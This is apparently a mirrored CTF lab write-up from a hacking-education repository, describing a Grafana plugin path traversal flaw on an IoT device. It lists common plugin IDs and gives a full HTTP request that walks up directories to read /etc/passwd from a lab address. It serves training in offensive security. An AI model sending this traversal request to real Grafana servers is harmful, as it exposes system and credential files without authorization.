mirror of
https://github.com/The-Art-of-Hacking/h4cker
synced 2024-11-22 10:53:03 +00:00
37 lines
1 KiB
Markdown
37 lines
1 KiB
Markdown
|
# IoT Hacking CLUS CTF Flags
|
||
|
|
|
||
|
|
The following are the CTF flags for the grafana vulnerability in the IoT device:
|
||
|
|
|
||
|
|
The vulnerability is caused by plugin module, which is able to serve the static file inside the plugin folder. But for lock of check, attacker can use ../ to step up from the plugin folder to parent foler and download arbitrary files.
|
||
|
|
|
||
|
|
To exploit the vulnerabilty, you should know a valid plugin id, such as alertlist, here are some of common plugin ids:
|
||
|
|
```
|
||
|
|
alertlist
|
||
|
|
cloudwatch
|
||
|
|
dashlist
|
||
|
|
elasticsearch
|
||
|
|
graph
|
||
|
|
graphite
|
||
|
|
heatmap
|
||
|
|
influxdb
|
||
|
|
mysql
|
||
|
|
opentsdb
|
||
|
|
pluginlist
|
||
|
|
postgres
|
||
|
|
prometheus
|
||
|
|
stackdriver
|
||
|
|
table
|
||
|
|
text
|
||
|
|
```
|
||
|
|
Send following request to retrieve the **/etc/passwd ** (you can replace the alertlist with any valid plugin id):
|
||
|
|
|
||
|
|
```
|
||
|
|
GET /public/plugins/alertlist/../../../../../../../../../../../../../etc/passwd HTTP/1.1
|
||
|
|
Host: http://192.168.3.126:3000
|
||
|
|
Accept-Encoding: gzip, deflate
|
||
|
|
Accept: */*
|
||
|
|
Accept-Language: en
|
||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
|
||
|
|
Connection: close
|
||
|
|
```
|